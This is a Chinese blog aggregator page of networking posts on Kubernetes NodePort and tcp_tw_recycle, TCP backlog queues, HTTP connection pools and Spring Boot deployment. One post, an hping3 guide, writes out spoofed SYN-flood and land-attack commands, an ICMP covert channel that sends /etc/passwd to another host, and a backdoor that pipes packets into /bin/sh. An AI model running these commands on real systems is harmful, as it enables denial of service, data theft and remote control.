Quantcast
Channel: IT瘾博客推荐
Viewing all 532 articles
Browse latest View live

kubernetes NodePort网络踩坑 - 三木燕 - 博客园

$
0
0

node节点信息:

系统:centos7.6     

内核:3.10   

IP地址:192.168.1.1

应用环境:

因为需要跑一个nginx的应用叫做http-proxy做流量转发,公网入口是阿里云的SLB然转发到http-proxy的NodePor 端口上,也就是192.168.1.1:30285

spec:
  clusterIP: 172.30.253.123
  externalTrafficPolicy: Cluster
  ports:
    - name: http
      nodePort: 30285
      port: 8080
      protocol: TCP
      targetPort: 8080

刚配好一切正常,过了几分钟SLB开始报健康检查错误,手动检查了一下发现3、4请求之后必然会有一次timeout

排查过程:

  1. 先从公网请求一下
    $ curl proxy.public.com

    几次请求中必然会有一次timeout

  1. 首先容器本地确定是否是nginx本身的问题
    $ curl localhost:8080

    正常

  2. 在内网环境请求NodePort端口
    $ curl192.168.1.1:30285

    正常,这就很诡异了

  3. 在宿主机本地抓包
    # tcpdump port30285

    11:08:36.186722 IP 100.122.64.147.30042 > 192.168.1.1:30285: Flags [S], seq 868295361, win 28480, options [mss 1424,sackOK,TS val 1875975334 ecr 0,nop,wscale 9], length 0
    11:08:37.236652 IP 100.122.64.147.30042 > 192.168.1.1:.30285: Flags [S], seq 868295361, win 28480, options [mss 1424,sackOK,TS val 1875976384 ecr 0,nop,wscale 9], length 0
    11:08:39.284640 IP 100.122.64.147.30042 > 192.168.1.1:.30285: Flags [S], seq 868295361, win 28480, options [mss 1424,sackOK,TS val 1875978432 ecr 0,nop,wscale 9], length
    可以看到有收到来自SLB发来第一握手syn包,但是服务端没有回应ack

  4. 在容器本地看一下syn drop
    $ netstat -s |grepLISTEN

    280 SYNs to LISTEN sockets dropped
    果然有而且在一直增加,查阅了相关资料后发现有可能是启用了tcp_tw_recycle参数,前一段时间因time_wait确实优化过这个参数。。。果断关掉

    # sysctl -wnet.ipv4.tcp_tw_recycle=0

    然后一切正常了

为什么会这样?

 

复习一下tcp的四次挥手:

第一次挥手:主动关闭方发送一个FIN+ACK报文,此时主动方进入FIN_WAIT1状态,主动方停止发送数据但仍然能接收数据

第二次挥手:被动方收到FIN+ACK,发送一个ACK给对方,此时被动方进入CLOSE-WAIT状态,被动方仍然可以给主动方发送数据

第三次挥手:主动方收到ACK后,此时主动方进入FIN_WAIT2状态,被动方确定没有数据要发后就会发送FIN+ACK报文

第四次挥手:主动方收到FIN+ACK,此时主动方进入TIME-WAIT状态,发送一个ACK给被动方,方被动方进入CLOSED状态

 

 

linux系统中的3个参数:

参数默认状态作用条件影响风险建议
net.ipv4.tcp_timestamps
开启记录TCP报文的发送时间双方都要开启影响客户端服务端  开启
net.ipv4.tcp_tw_recycle关闭
4.1内核已删除
把TIME-WAIT状态超时时间设置为成rto,以实现快速回收要启用net.ipv4.tcp_timestamps影响客户端服务端tcp_tw_recycle和tcp_timestamps同时开启的条件下,60s内同一源ip主机的socket connect请求中的timestamp必须是递增的,否则数据会被linux的syn处理模块丢弃内网环境切没有NAT的时候看情况打开,没什么必要就不要打开了
net.ipv4.tcp_tw_reuse关闭TIME-WAIT状态1秒之后可以重用端口要启用net.ipv4.tcp_timestamps影响客户端 比如负载均衡连接后端服务器时,可以在负载均衡服务器上开启

结论:对于服务端来说,客户端通过SNAT上网时的timestamp递增性无可保证,所以当服务端tcp_tw_recycle生效时会出现连接异常

 

k8s的NodePort网络:  

service网络的实体是kube-proxy维护iptables规则,先看一下流程

  1. 在nat主链拦截SERVICES自定义链
    # iptables -t nat  -nL PREROUTING
    KUBE-SERVICES  all  --  0.0.0.0/0            0.0.0.0/0            /* kubernetes service portals */
    其他nat主链同样有KUBE-SERVICES自定义链
  2. 拦截NodePort自定义链
    # iptables -t nat -nL KUBE-SERVICES

    KUBE-NODEPORTS all -- 0.0.0.0/0 0.0.0.0/0 /* kubernetes service nodeports; NOTE: this must be the last rule in this chain */ ADDRTYPE match dst-type LOCAL

  3. 拦截端口流量
    # iptables -t nat -nL KUBE-NODEPORTS

    KUBE-MARK-MASQ tcp -- 0.0.0.0/0 0.0.0.0/0 /* default/http-proxy:http1 */ tcp dpt:30285

    KUBE-SVC-NKX6PXTXGL4F5LBG  tcp  --  0.0.0.0/0            0.0.0.0/0            /* default/http-proxy:http1 */ tcp dpt:30285

  4. 拦截端口流量打标记
    # iptables -t nat -nL KUBE-MARK-MASQ

    MARK       all  --  0.0.0.0/0            0.0.0.0/0            MARK or 0x1

  5. 打标记并根据标记做SNAT
    # iptables -t nat -nL POSTROUTING

    KUBE-POSTROUTING  all  --  0.0.0.0/0            0.0.0.0/0            /* kubernetes postrouting rules */

    # iptables -t nat -nL KUBE-POSTROUTING

    MASQUERADE  all  --  0.0.0.0/0            0.0.0.0/0            /* kubernetes service traffic requiring SNAT */ mark match 0x1/0x1

  6. 第二步拦截端口流量到SCV自定义链
    # iptables -t nat -nL KUBE-SVC-NKX6PXTXGL4F5LBG

    KUBE-SEP-4DYOPOZ4UKLHEHIS  all  --  0.0.0.0/0            0.0.0.0/0            /* default/http-proxy:http1 */

    # iptables -t nat -nL KUBE-SEP-4DYOPOZ4UKLHEHIS

    DNAT       tcp  --  0.0.0.0/0            0.0.0.0/0            /* default/http-proxy:http1 */ tcp to:10.128.0.74:8081

     

结论:可以看到第五步kube-proxy会做SNAT的操作,这也就不难解释从SLB过来的流量为什么会不正常了。至于为什么要做SNAT主要是防止路由来回路径不一致会导致tcp通信失败,这里就不展开了

 

hping3命令 - archoncap - 博客园

$
0
0

hping是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

安装

yuminstalllibpcap-devel tc-devel      ln-s /usr/include/pcap-bpf.h /usr/include/net/bpf.h      wgethttp://www.hping.org/hping3-20051105.      tar.gz
tar zxvf hping3-20051105.tar.gz      cdhping3-20051105
./configure      makemake install

选项

-H --      help显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46      ip=192.168.1.1 flags=RADF      seq=0 ttl=255      id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504      sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --      bind快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof      hostname伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl      timeto live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-      w--WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value      setthe fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE      type指定ICMP类型,缺省是ICMP      echoREQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-      cksum设置校验和。
-icmp-ts      aliasfor --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。

Hping3功能

Hping3主要有以下典型功能应用:

 防火墙测试

使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考: http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对ICMP包的反应、是否支持 traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

端口扫描

Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0  -S 192.168.10.1 -p 80

其中 -I eth0指定使用eth0端口, -S指定TCP包的标志位SYN, -p 80指定探测的目的端口。

hping3支持非常丰富的端口探测方式, nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

Idle扫描

Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

拒绝服务攻击

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如smurf、teardrop、land attack等也很容易构建出来。

文件传输

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

hping3 192.168.1.159--listen signature --safe  --icmp

监听ICMP包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件:

hping3 192.168.1.108--icmp ?d 100 --sign signature --      file/etc/      passwd

/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

木马功能

如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与 netcat的后门功能类似。

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

在木马启动端:

hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh

在远程控制端:

echo      ls>      test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

HttpComponents分析之连接池实现 - jinspire - 博客园

$
0
0

早期的Http是这样的,一次http请求完成后,立即关闭连接。如果请求的数据非常少而次数又极多,那么通讯效率是非常低的。如何提高通讯的效率呢?其实很简单,只需在建立连接后,完成通话先等待一段时间,看对方在这段时间内是否还有话说,如果有话说,那么继续通信,否则过了这段时间后就关闭连接。这种解决方案在Http协议中也有体现,即keep-alive。

 

      回到主题,Http协议是互联网上最流行的协议,webservices,基于网络的应用等在增加Http协议支持的需求同时,也强有力的推动协议本身从浏览器应用的局限性场合扩张出来。虽然java.net对http的协议从网络上获取资源等功能做了基本的支持,但它并不能满足许多应用对协议全面功能和灵活性的要求。比如下面提到的http连接池就是一个非常重要的功能。

 

      Http连接池是利用了Http 1.1 KeepAlive的持久连接特性,在TCP协议里两个机器建立连接涉及三次握手,是比较消耗时间的,特别是在持续传送少量数据时,如果连接能够持续重用,就可以达到较大的吞吐量。同时也要考虑到如果可以对于一个服务器端口开通多个socket连接去传输信息,是可以达到网络带宽的一定提高的。用流行的 一句话体来说,就是管理一个路由的多个持久连接的创建,分配,复用,回收问题。

 

图1:connPool的继承体系

pool

一、基本结构:

1. ConnPool:连接池接口:

  • Future<E> lease(final T route, final Object state, final FutureCallback<E> callback);

从连接池中取出连接

  • void release(E entry, boolean reusable);

释放连接

2. AbstractConnPool:

其中主要有如下数据结构:

  • Map<T, RouteSpecificPool<T, C, E>> routeToPool 每个路由对应其连接池的映射,
  • Set<E> leased总池出借的连接集合,LinkedList<E> available 总池可用的连接集合,
  • LinkedList<PoolEntryFuture<E>> pending总池等待取连接的队列,
  • Map<T, Integer> maxPerRoute 每个路由的最大连接数量映射表。
  • int maxTotal 总池的连接最大数。

并依靠上述数据结构进行了资源同步和生命周期方法如shutdown()等操作。

 

图2:routeToPool结构图

RouteToPool

 

其中routeToPool里面不同的路由有各自的RouteSpecificPool(路由相关连接池),其中也有三个数据结构:

  • Pending 同路由等待取连接的队列
  • Avaliable 同路由可以使用的连接队列。
  • Leased:同路由已经租赁使用的连接集合。

 

二、主要操作分析

 

Lease 租赁连接:

1. 先从routeToPool找到当前路由对应的连接池pool

2. 再去连接池pool找空闲的连接,并观察其是否是关闭或者超时的连接,是则将其关闭,并再查找下一个空闲连接,直到找到或者遍历完可用连接链表avaliable为止。

3. 如果找到,则在可用连接链表avaliable中移除entry,并将其加入到租赁集合Leased中去,并返回。

4. 如果找不到,那么就查询每个路由连接最大上限映射表maxPerRoute找到当前路由最大上限maxPerRoute,并检查当前路由连接数+1的方案是否超过了本路由最大上限,如果超过,则将此路由对应的连接池 avaliable队列中最早使用的连接关闭。

5. 检查当前路由对应的池中已有的连接数是否超过上限maxPerRoute且已有的连接总数是否小于总池中的最大计数maxTotal;

如果满足条件,再检查avaliable队列中连接的数量是否大于等于总池可分配连接数,满足则尝试从总池可用连接链表avaliable中选取最早入队的连接,并在此连接相应的路由对应的池中进行连接关闭;

最后创建新的连接并加入总池和路由对应的leased集合中,创建成功则返回。

6. 如果步骤5种条件不满足,那么将其加入到等待队列pending中去,并进入等待模式。

7. 如有人唤醒后再检查超时,如果没有超时则跳回到2。

 

Release归还连接:

1. 先从总池中归还连接

2. 如果1成功,再从路由对应的连接归还

3. 最后通知等待唤醒取连接的pending队列中的任务继续去获取连接。

tcp_tw_recycle+tcp_timestamp+NAT问题_貓的博客-CSDN博客_tcp_tw_recycle tcp_timestamp

$
0
0

在排查一个超时问题的时候,又再一次遇到了  tcp_tw_recycle 在遇到 NAT 的场景下,可能导致丢包的问题, 掉进同一个坑两次,因此做一次记录; 特别是手抽改过系统tcp参数的应用,需要注意

 

现象

不同主机C1,C2上的相同模块(开启timestamp),通过NAT网关(1个出口ip)访问同一服务S,主机C1 connect成功,而主机C2 connect失败

 

故障模型

在以下架构的时候,需要特别留意这个问题

调用方/客户端(一般为多台机器) --> 客户端proxy/出口(一般为单个IP)–> 被调用方/服务端(单台/集群)

调用方/客户端(一般为多台机器) --> 客户端proxy/出口(一般为单个IP)–>  服务端负载均衡器 --> 被调用方/服务端(单台/集群)

图示:

 

解决方法

  • 服务器端不要将tcp_tw_recycle字段和tcp_timestamps字段同时设为1; 对于服务提供方,建议使用,主动权在服务端,可控性强

    1

    2

    3

    4

    5

    6

    7

    8

    9

    ## 修改 /etc/sysctrl.conf

    ## 其实系统默认就是这两个值

    net.ipv4.tcp_tw_recycle = 0

    net.ipv4.tcp_timestamps = 1

     

    ##酌情加上

    net.ipv4.tcp_max_tw_buckets = 36000

     

    sysctl -p

  • 客户端把tcp_timestamps字段设0,这样不会发送TCP选项字段中的timestamps选项;需要和客户端沟通做配置修改

建议关闭tcp_tw_recycle选项,而不是timestamp;因为 在tcp timestamp关闭的条件下,开启tcp_tw_recycle是不起作用的;而tcp timestamp可以独立开启并起作用。

 

分析

根据现象上述问题明显和tcp timestmap有关;查看linux 2.6.32内核源码,发现tcp_tw_recycle/tcp_timestamps都开启的条件下,60s(timewai时间)内同一源ip主机的socket connect请求中的timestamp必须是递增的。

网上随便搜都有源码分析,就不贴了

 

已知场景

客户端

负载均衡器

处理方案

例子

备注

任意aws ELB不处理 ELB有避免该情况的措施
 aws NLB待测试  
 aws ALB待测试  
 阿里云SLB待测试  
服务器,合作方调用LVS/单机环境必须处理 很多时候,对方都会在出口使用proxy
一般终端用户(手机、电脑)LVS建议处理  

 

net.ipv4.tcp_tw_recycle的去留

net.ipv4.tcp_tw_recycle 快速回收time_wait有很好的效果;个人认为两类场景可以配置net.ipv4.tcp_tw_recycle=1
  • 高并发内部调用,一般不存在客户端proxy
  • 自己对上下游应用有较强的可控性

refer

http://blog.sina.com.cn/s/blog_781b0c850100znjd.html

https://colobu.com/2014/09/18/linux-tcpip-tuning/

http://blog.51cto.com/myfuture/876566

https://zhuanlan.zhihu.com/p/35684094

http://perthcharles.github.io/2015/08/27/timestamp-NAT/     ##这篇解释和引申比较透彻

K8S部署SpringBoot应用_都超的博客-CSDN博客_k8s springboot

$
0
0

必要条件

  1. K8S环境机器做部署用,推荐一主双从。 推荐安装文档
  2. Docker Harbor私有仓库,准备完成后在需要使用仓库的机器docker login。
  3. 开发机器需要Docker环境,build及push使用

基础配置准备

一、构建基本Springboot工程,本例所用版本及结构如下图

版本及结构
创建测试代码,简单打印几行log
测试代码

二、maven配置

1. properties配置
<properties><docker.image.prefix>pasq</docker.image.prefix><!-- docker harbor地址 --><docker.repostory>192.168.1.253:8081</docker.repostory></properties>
2. plugins配置
<plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><!-- 使用Maven插件直接将应用打包为一个Docker镜像 --><plugin><groupId>com.spotify</groupId><!-- 这里使用新版dockerfile-maven-plugin插件 --><artifactId>dockerfile-maven-plugin</artifactId><version>1.4.10</version><configuration><!-- Dockerfile目录指定 --><dockerfile>src/main/docker/Dockerfile</dockerfile><repository>${docker.repostory}/${docker.image.prefix}/${project.artifactId}</repository><!-- 生成镜像标签 如不指定 默认为latest --><tag>${project.version}</tag><buildArgs><!-- 理论上这里定义的参数可以传递到Dockerfile文件中,目前未实现 --><JAR_FILE>target/${project.build.finalName}.jar</JAR_FILE></buildArgs></configuration></plugin></plugins>

三、Dockerfile文件

#基础镜像,如果本地仓库没有,会从远程仓库拉取
FROM openjdk:8-jdk-alpine
#容器中创建目录
RUN mkdir -p /usr/local/pasq
#编译后的jar包copy到容器中创建到目录内
COPY target/dockertest-0.0.1.jar /usr/local/pasq/app.jar
#指定容器启动时要执行的命令
ENTRYPOINT ["java","-jar","/usr/local/pasq/app.jar"]

构建镜像并推送

  1. 构建镜像,执行如下命令
    插件编译
    构建镜像日志如下
    编译日志
  2. 完成后 docker images可以查看打包的镜像
    在这里插入图片描述
  3. 命令窗口执行 docker push REPOSITORY推送至docker harbor
    推送
    docker harbor可以查看到推送的镜像
    dockerharbor

K8S部署

1. 创建dockertest.yaml文件如下

apiVersion: v1
kind: Service
metadata:
  name: dockertest
  namespace: default
  labels:
    app: dockertest
spec:
  type: NodePort
  ports:
  - port: 8080
    nodePort: 30090 #service对外开放端口
  selector:
    app: dockertest
---
apiVersion: apps/v1
kind: Deployment #对象类型
metadata:
  name: dockertest #名称
  labels:
    app: dockertest #标注 
spec:
  replicas: 3 #运行容器的副本数,修改这里可以快速修改分布式节点数量
  selector:
    matchLabels:
      app: dockertest
  template:
    metadata:
      labels:
        app: dockertest
    spec:
      containers: #docker容器的配置
      - name: dockertest
        image: 192.168.1.253:8081/pasq/dockertest:0.0.1 # pull镜像的地址 ip:prot/dir/images:tag
        imagePullPolicy: IfNotPresent #pull镜像时机,
        ports:
        - containerPort: 8080 #容器对外开放端口

2. 运行 kubectl create -f dockertest.yaml创建Deployment

完成后执行 kubectl get pods如下图,可以看到启动了三个pod
getpods

3. 运行 kubectl logs -f podsname查看日志

新开窗口分别查看3个pod的日志,然后访问 k8s master节点IP+service对外开放端口访问springboot应用,我这里使用 http://192.168.1.250:30090/test/test, 多刷新几次可以看到pod直接做了负载,如下图:
pods1:
pods1
pods2:
pods2
pods3:
pods3
运行 kubectl delete -f dockertest.yaml可以删除pods与service
修改dockertest.ymal 中replicas数量后,运行 kubectl apply -f dockertest.yaml可以扩容或收缩副本数量

到此,k8s部署springboot应用完成。有心得交流的朋友可以私信或留言。

Tomcat中的backlog参数 - 简单爱_wxg - 博客园

$
0
0

  在linux 2.2以前,backlog大小包括了半连接状态和全连接状态两种队列大小。linux 2.2以后,分离为两个backlog来分别限制半连接SYN_RCVD状态的未完成连接队列大小跟全连接ESTABLISHED状态的已完成连接队列大小。互联网上常见的TCP SYN FLOOD恶意DOS攻击方式就是用/proc/sys/net/ipv4/tcp_max_syn_backlog来控制的。在使用listen函数时,内核会根据传入参数的backlog跟系统配置参数/proc/sys/net/core/somaxconn中,二者取最小值,作为“ESTABLISHED状态之后,完成TCP连接,等待服务程序ACCEPT”的队列大小。在kernel 2.4.25之前,是写死在代码常量SOMAXCONN,默认值是128。在kernel 2.4.25之后,在配置文件/proc/sys/net/core/somaxconn (即 /etc/sysctl.conf 之类 )中可以修改。我稍微整理了流程图,如下: 

tcp-sync-queue-and-accept-queue-small 
  如图,服务端收到客户端的syn请求后,将这个请求放入syns queue中,然后服务器端回复syn+ack给客户端,等收到客户端的ack后,将此连接放入accept queue。大约了解其参数代表意义之后,我稍微测试了一番,并抓去了部分数据,首先确认系统默认参数

root@vmware-cnxct:/home/cfc4n# cat /proc/sys/net/core/somaxconn

root@vmware-cnxct:/home/cfc4n# ss -lt
State      Recv-Q Send-Q         Local Address:Port                    Peer Address:Port
LISTEN     0      128                        *:ssh                           *:*
LISTEN     0      128                 0.0.0.0:9000                           *:*
LISTEN     0      128                       *:http                           *:*
LISTEN     0      128                       :::ssh                           :::*
LISTEN     0      128                      :::http                           :::*

在FPM的配置中,listen.backlog值默认为511,而如上结果中看到的Send-Q却是128,可见确实是以/proc/sys/net/core/somaxconn跟listen参数的最小值作为backlog的值。

cfc4n@cnxct:~$ ab -n 10000 -c 300 http://172.16.218.128/3.php
This is ApacheBench, Version 2.3 <$Revision: 1604373 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking 172.16.218.128 (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests


Server Software:        nginx/1.4.6
Server Hostname:        172.16.218.128
Server Port:            80

Document Path:          /3.php
Document Length:        55757 bytes

Concurrency Level:      300
Time taken for tests:   96.503 seconds
Complete requests:      10000
Failed requests:        7405
   (Connect: 0, Receive: 0, Length: 7405, Exceptions: 0)
Non-2xx responses:      271
Total transferred:      544236003 bytes
HTML transferred:       542499372 bytes
Requests per second:    103.62 [#/sec] (mean)
Time per request:       2895.097 [ms] (mean)
Time per request:       9.650 [ms] (mean, across all concurrent requests)
Transfer rate:          5507.38 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    9  96.7      0    1147
Processing:     8 2147 6139.2    981   60363
Waiting:        8 2137 6140.1    970   60363
Total:          8 2156 6162.8    981   61179

Percentage of the requests served within a certain time (ms)
%    981
%   1074
%   1192
%   1283
%   2578
%   5352
%  13534
%  42346
%  61179 (longest request)

  apache ab这边的结果中,非2xx的http响应有271个,在NGINX日志数据如下:

root@vmware-cnxct:/var/log/nginx# cat grep.error.log |wc -l

root@vmware-cnxct:/var/log/nginx# cat grep.access.log |wc -l
0
root@vmware-cnxct:/var/log/nginx# cat grep.access.log |awk '{print $9}'|sort|uniq -c
 200
 502
 504
root@vmware-cnxct:/var/log/nginx# cat grep.error.log |awk '{print $8  $9  $10 $11}'|sort |uniq -c
 (111: Connection refused) while
 out (110: Connection timed

  从nginx结果中看出,本次压测总请求数为10000。http 200响应数量9729个;http 502 响应数量186个;http 504响应数量未85个;即非2xx响应总数为502+504总数,为271个。同时,也跟error.log中数据吻合。同时,也跟TCP数据包中的RST包数量吻合。 
tcp.connection.rst-271

  在nginx error中,错误号为111,错误信息为“Connection refused”的有186条,对应着所有http 502响应错误的请求;错误号为110,错误信息为“Connection timed out”的有85条,对应着所有http 504响应错误的请求。在linux errno.h头文件定义中,错误号111对应着ECONNREFUSED;错误号110对应着ETIMEDOUT。linux man手册里,对listen参数的说明中,也提到,若client连不上server时,会报告ECONNREFUSED的错。

Nginx error日志中的详细错误如下:

//backlog  过大,fpm处理不过来,导致队列等待时间超过NGINX的proxy4#0: *24135 upstream timed out (110: Connection timed out) while connecting to upstream, client: 172.16.218.1, server: localhost, request: "GET /3.php HTTP/1.0", upstream: "fastcgi://192.168.122.66:9999", host: "172.16.218.128"//backlog 过小[error]54416#0: *38728 connect() failed (111: Connection refused) while connecting to upstream, client: 172.16.218.1, server: localhost, request: "GET /3.php HTTP/1.0", upstream: "fastcgi://192.168.122.66:9999", host: "172.16.218.128"

  在压测的时候,我用tcpdump抓了通讯包,配合通信包的数据,也可以看出,当backlog为某128时,accept queue队列塞满后,TCP建立的三次握手完成,连接进入ESTABLISHED状态,客户端(nginx)发送给PHP-FPM的数据,FPM处理不过来,没有调用accept将其从accept quque队列取出时,那么就没有ACK包返回给客户端nginx,nginx那边根据TCP 重传机制会再次发从尝试…报了“111: Connection refused”错。当SYNS QUEUE满了时,TCPDUMP的结果如下,不停重传SYN包。 
tcp-sync-queue-overflow 
  对于已经调用accept函数,从accept queue取出,读取其数据的TCP连接,由于FPM本身处理较慢,以至于NGINX等待时间过久,直接终止了该fastcgi请求,返回“110: Connection timed out”。当FPM处理完成后,往FD里写数据时,发现前端的nginx已经断开连接了,就报了“Write broken pipe”。当ACCEPT QUEUE满了时,TCPDUMP的结果如下,不停重传PSH SCK包。(别问我TCP RTO重传的机制,太复杂了,太深奥了 、  TCP的定时器系列 — 超时重传定时器 ) 
tcp-accept-queue-overflow 
对于这些结论,我尝试搜了很多资料,后来在360公司的「基础架构快报」中也看到了他们的研究资料《  TCP三次握手之backlog 》,也验证了我的结论。

关于ACCEPT QUEUE满了之后的表现问题,早上  IM鑫爷 给我指出几个错误,感谢批评及指导,在这里,我把这个问题再详细描述一下。如上图所示

  • NO.515 client发SYN到server,我的seq是0,消息包内容长度为0. (这里的seq并非真正的0,而是wireshark为了显示更好阅读,使用了Relative SeqNum相对序号)
  • NO.516 server回SYN ACK给client,我的seq是0,消息包内容长度是0,已经收到你发的seq 1 之前的TCP包。(请发后面的)
  • NO.641 client发ACK给server,我是seq 1 ,消息包内容长度是0,已经收到你发的seq 1 之前的TCP包。
  • NO.992 client发PSH给server,我是seq 1 ,消息包内容长度是496,已经收到你发的seq 1 之前的TCP包。
  • ………..等了一段时间之后(这里约0.2s左右)
  • NO.4796 client没等到对方的ACK包,开始TCP retransmission这个包,我是seq 1,消息包长度496,已经收到你发的seq 1 之前的TCP包。
  • ……….又…等了一段时间
  • NO.9669 client还是没等到对方的ACK包,又开始TCP retransmission这个包,我是seq 1,消息包长度496,已经收到你发的seq 1 之前的TCP包。
  • NO.13434 server发了SYN ACK给client,这里是tcp spurious retransmission 伪重传,我的seq是0,消息包内容长度是0,已经收到你发的seq 1 之前的TCP包。距离其上次发包给client是NO.516 已1秒左右了,因为没有收到NO.641 包ACK。这时,client收到过server的SYN,ACK包,将此TCP 连接状态改为ESTABLISHED,而server那边没有收到client的ACK包,则其TCP连接状态是SYN_RCVD状态。(感谢IM鑫爷指正)也可能是因为accept queue满了,暂时不能将此TCP连接从syns queue拉到accept queue,导致这情况,这需要翻阅内核源码才能确认。
  • NO.13467 client发TCP DUP ACK包给server,其实是重发了N0.641 ,只是seq变化了,因为要包括它之前发送过的seq的序列号总和。即..我的seq 497 ,消息包内容长度是0,已经收到你发的seq 1 之前的TCP包。
  • NO.16573 client继续重新发消息数据给server,包的内容还是NO.992的内容,因为之前发的几次,都没收到确认。
  • NO.25813 client继续重新发消息数据给server,包的内容还还是NO.992的内容,仍没收到确认。(参见下图中绿色框内标识)
